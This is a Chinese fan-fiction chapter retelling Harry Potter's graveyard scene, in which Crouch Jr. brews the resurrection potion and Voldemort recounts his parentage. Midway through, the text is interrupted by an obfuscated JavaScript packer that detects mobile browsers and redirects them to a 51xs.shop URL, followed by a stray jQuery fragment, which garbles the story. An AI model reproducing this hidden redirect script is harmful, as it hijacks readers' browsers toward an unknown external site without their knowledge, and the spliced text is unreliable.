哈利感到双脚撞到了地面，他的伤腿一软，摔倒在地，手终于放开了三强杯。
他抬起头来打量着四周。这儿已经完全出了霍格沃茨的地界，他显然飞了好几英里——也许有好几百英里，因为连城堡周围的环山都不见了。他站在一片黑暗的杂草丛生的墓地上，可以看到右边一棵高大的红豆杉后面一所小教堂的黑色轮廓。左边是一座山冈。哈利能辨认出山坡上有一所精致的老房子。
塞德里克刚才的反常让他觉得不寒而栗，他就像被人控制了一样，但最终被藤蔓拖走了。而这里，看起来更加反常。他打量着这片墓地，周围阴森森的，一片寂静。
“这也是比赛的一部分吗？”他发出声音。
但是四下依旧寂静无声。
哈利抽出魔杖，不住地扫视四周。他又有了那种异样的感觉，好像有人在监视着他们。
然后，他听见了不属于他的声音，紧张地眯起眼睛望着黑暗中，
两个人影在坟墓之间一步步朝他们走来。哈利看不清那两个人的脸，他们一高一矮，穿着带兜帽的斗篷，遮着面孔。再走近几步——他与他们之间的距离在不断缩小，哈利手中的魔杖放低了一些。
那人在一块高耸的大理石墓碑前站住，离他们只有六英尺。在那一瞬间，哈利的伤疤剧烈疼痛起来。他有生以来从未感受过如此剧烈的疼痛。魔杖滑落到地上，他双手捂住面孔，腿一弯倒在地上，眼前什么也看不见了，脑袋像要炸裂一般。
穿斗篷的高个男人点亮了魔杖，正在把哈利朝大理石墓碑拖去。在被一把推转过来、后背撞到墓碑上之前，哈利在魔杖闪烁的光芒中看到了一个名字。
【汤姆·里德尔】
穿斗篷的男人用魔法变出绳子把哈利紧紧捆在墓碑上，从脖子到脚腕捆了一道又一道。哈利听见兜帽里面传出急促而轻微的呼吸声。他用力挣扎，那男人打了他一下。
“你是谁？”他惊叫道。
但那个人没有回答。他已经捆完了绳子，正忙着检查捆得紧不紧。他的手指控制不住地颤抖着，摸索着一个个绳结。当确定哈利已被捆得结结实实、一动都不能动了之后，克劳奇从斗篷里摸出一段黑色的东西，粗鲁地塞进哈利嘴里。然后，他一句话也没说，就匆匆走开了。哈利发不出声音，也看不见那个男人去了哪里。他不能扭头看墓碑后面，只能看见正前方的情景。
三强杯在星光下闪闪发亮。哈利的魔杖丢在了另一边。另外一个矮一点的是哥女人，哈利注视着她，他的伤疤又火辣辣地疼痛起来……他突然意识到自己不希望看到面具之下是谁……他不希望知道那个女人是谁。
他听见脚边有声音，往下一看，只见一条大蛇在草上蜿蜒游动，围着他那块墓碑打转。那个男人的脚步声又传来，他好像在推着什么沉重的东西。然后他进入了哈利的视线，把一口石头坩埚推到了坟墓下面。坩埚里好像盛满了水——哈利听见泼溅的声音。这口坩埚比哈利用过的所有坩埚都大，可容一个成人坐在里面。
站在一旁的女人冷冷地旁观，全程只有那个男人在殷勤地忙碌着。他用魔杖在坩埚底部点点划划，坩埚下蹿起了噼啪作响的火苗。
大蛇向黑暗中游去。
坩埚里的液体似乎热得很快。表面不仅开始沸腾，而且迸射出火花，像烧着了一样。蒸气越来越浓，照看火苗的那个高个男人的身影都变得模糊起来了。
那个女人终于说话了。一个冰冷的声音。
“可以了。”
现在整个水面都闪动着火花，好像缀满钻石一样。
那个男人开始念念有词。
“独角兽的鲜血。”他从兜里掏出一个小瓶子，加入了一些银蓝色的液体。
“纳吉尼的毒液。”
戴兜帽的女人开始发出低哑的嘶嘶声，哈利知道那是蛇佬腔。他看见纳吉尼从远处游了过来，然后兜帽女人从蛇牙上取出一些黑色的液体，放进坩埚沸腾的水里。
“主人，接下来……”
“嗯。”那个冷酷的声音命令道，“退后吧。”
女人钻进了油锅里，随着一阵嘶嘶声，它沉了下去，再没有别的声音。
男人的兜帽掉了下来，哈利看到火光中那个男人苍白虚弱的脸上带着恐惧的表情。然后他认出了他——那个出现在邓布利多冥想盆里的小巴蒂·克劳奇。
“怎么是你？”哈利想要发出声音，但是嘴被堵住了。他的视线又落到沸腾的坩埚上。
让它淹死，哈利想，他的伤疤灼痛得几乎无法忍受，求求你……让它淹死……
小巴蒂·克劳奇喘了一口气，然后举起魔杖，闭上眼睛，对着夜空说道：“父亲的骨，无意中捐出，可使你的儿子再生！”
哈利脚下的坟墓裂开了，哈利惊恐地看见一小缕灰尘应克劳奇的召唤升到了空中，轻轻落进坩埚里。钻石般的液面破裂了，嘶嘶作响，火花四溅，液体变成了鲜艳的蓝色，一看便知有毒。
小巴蒂·克劳奇看起来一点也不意外。
接着，他从斗篷里抽出一把又长又薄、银光闪闪的匕首。他的脸不知是因为恐惧还是激动，变得扭曲起来：“仆人的肉，自愿捐出，可使你的主人重生。”
他伸出右手然后用左手紧紧攥住匕首，朝右手挥去。
哈利在最后一秒钟才意识到克劳奇要干什么，他紧紧闭上眼睛，但却阻挡不了那穿透夜空的惨叫直刺进哈利体内，就好像他也被匕首刺中了一样。他听见什么东西落地，听见克劳奇痛苦的喘息，接着是扑通一声，什么东西被扔进了坩埚里。哈利不愿看……但是药水变成了火红色，强光射进哈利紧闭的眼帘……
克劳奇在痛苦地喘息和呻/吟，但是又带着一些暗暗的兴奋。
当他的呼吸喷到哈利脸上时，哈利才发觉小巴蒂·克劳奇已经来到他的面前。
“仇敌的血……被迫献出……可使你的敌人……复活。”
哈利没办法阻止，他被捆得太紧了……他绝望地挣扎着，想挣脱捆绑着他的绳索，他从眼睛缝里看见银晃晃的匕首在克劳奇那只独手中颤动。他感到匕首尖刺进了他的臂弯，鲜血顺着撕破的袍袖淌下。仍在喘息的克劳奇从口袋里摸出一个小玻璃瓶，放在哈利的伤口旁，少量鲜血流到了瓶里。
他拿着哈利的血走向坩埚，把它倒了进去。坩埚中液体立刻变成了炫目的白色。
克劳奇完成了任务，跪倒在坩埚旁，捧着自己流血的断臂喘息着。
钳锅快要沸腾了，钻石般的火星向四外飞溅，如此明亮耀眼，使周围的一切都变成了黑天鹅绒般的颜色。
但愿它已经淹死了，哈利想，但愿不会成功……
突然，坩埚上的火星熄灭了。一股白色蒸气从坩埚里升腾起来，掩去了哈利面前的一切。他看不见躺倒在地上的小巴蒂·克劳奇，只见一片白茫茫的水气……肯定不成功……它淹死了……求求你……求求你让它死掉吧……
接着，透过眼前的白雾，他毛骨悚然地看到坩埚中缓缓升起一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145580|135277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
男人的黑色身形，又高又瘦，他怀中还抱着刚才那个黑衣女人。
“给我穿衣。”那个冷酷、低沉的声音在蒸气后面说。小巴蒂·克劳奇仍护着他的残臂，但听到命令又兴奋地爬起来，慌忙从地上抓起裹包袱的黑色长袍，站起来，用一只手把它套到他主人的头上。
瘦男人跨出坩埚，将黑衣女人轻轻地放在了草地上。然后转身朝哈利走过来。
他看起来比二年级在密室看到的灵魂要年长一些，脸比骷髅还要苍白，脸颊凹了进去，鼻梁高挺，头发乌黑，有几缕发丝垂在眼前——眼睛像蛇一样，瞳孔是两条细细的线，红光在眼睛里明明灭灭。
随后，伏地魔将目光从哈利身上移开，开始检查他自己的身体。他的手瘦而长，但哈利觉得像大蜘蛛。他用细长苍白的手指抚摸着胸口、手臂、脸庞；那双红眼睛在黑暗中显得更亮。
他举起双手，活动着手指，然后摸到了头顶和鼻子，然后发出一声低吼。
“怎么会这样！”他的目光朝倒在地上仍然没有醒来的那个兜帽女看去。“究竟是那个混蛋父亲，还是她的问题，让我又回归了麻瓜的长相？”
他在那里发怒，哈利觉得伤疤更加疼了。那条大蛇，它不知何时又游了回来，嘶嘶地围着哈利打转。
“罢了。”过了几分钟，他终于冷静下来，口袋里抽出一根白色的魔杖，先把魔杖也轻轻抚摸一遍，然后转过身，举起魔杖指着小巴蒂·克劳奇。
伏地魔走到克劳奇面前，拉起克劳奇的左臂，把他的衣袖搭到胳膊肘上面。哈利看到那处皮肤上有个东西，好像是鲜红的文身图案——一个骷髅嘴里吐出一条蛇，是魁地奇世界杯赛上出现过的那个图形：黑魔标记。
伏地魔仔细端详着它，而克劳奇依旧因为疼痛而浑身微微颤抖。
“它回来了，”他轻声说，“他们都会注意到它的……现在，我们会看到……我们会知道……”
他把瘦长的食指按在克劳奇的胳膊上。
哈利前额的伤疤再一次剧痛起来，克劳奇又发出一声哀号。伏地魔把手指从克劳奇的印记上拿开，哈利看见印记变成了漆黑的颜色。
伏地魔脸上露出残酷的得意神情。他直起腰，把头一扬，扫视着黑暗的墓地。
“在感觉到它之后，有多少人有胆量回来？”他喃喃道，发光的红眼睛盯着天上的星星，“又有多少人会愚蠢地不来？”
他开始在哈利和克劳奇面前来回踱步，不时扫视着墓地。大约一分钟后，他的视线又落到哈利身上，英俊的脸上露出一丝残酷的微笑。
“哈利·波特，你正站在我父亲的尸骨上。”他轻轻地说，“他是一个麻瓜加蠢货……他竟敢那样对她的女儿……因此，我杀死了我父亲，你看，他死后派上的用场可比活着大多了……”
伏地魔又笑起来。他一面来回踱步，一面扫视着四周，那条蛇还在草地上转悠。
“看到山坡上那所房子了吗，波特？我父亲在那儿住过。我母亲是个巫师，住在这个村子里，爱上了他。可当她说出自己的身分之后，他抛弃了她……我父亲他不喜欢魔法……
“他离开了她，回到他的麻瓜父母身边，那时我还没有出生，波特。我母亲生了我和我的妹妹，然后她又抛弃了我们。
我们在麻瓜孤儿院长大……但我发誓要找到他……我妹妹先我一步，但是惨遭他们的虐/待。我向他们报了仇，那个让我不得不有着和他一样的名字和一样的长相的人……汤姆·里德尔。”